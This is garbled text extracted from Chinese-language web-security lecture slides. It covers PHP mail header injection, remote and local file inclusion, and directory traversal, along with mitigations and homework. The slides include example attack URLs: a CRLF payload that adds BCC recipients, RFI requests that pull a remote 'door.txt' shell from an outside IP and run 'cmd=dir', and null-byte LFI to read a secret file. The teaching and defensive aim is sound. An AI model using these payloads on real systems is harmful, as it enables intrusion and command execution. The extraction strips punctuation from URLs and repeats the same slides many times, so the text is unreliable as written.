bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 11: 伺服器端攻擊與防禦II

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 12: 伺服器端攻擊與防禦II

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 13: 伺服器端攻擊與防禦II

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 14: 伺服器端攻擊與防禦II

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 15: 伺服器端攻擊與防禦II

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 16: 伺服器端攻擊與防禦II

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 17: 伺服器端攻擊與防禦II

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 18: 伺服器端攻擊與防禦II

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

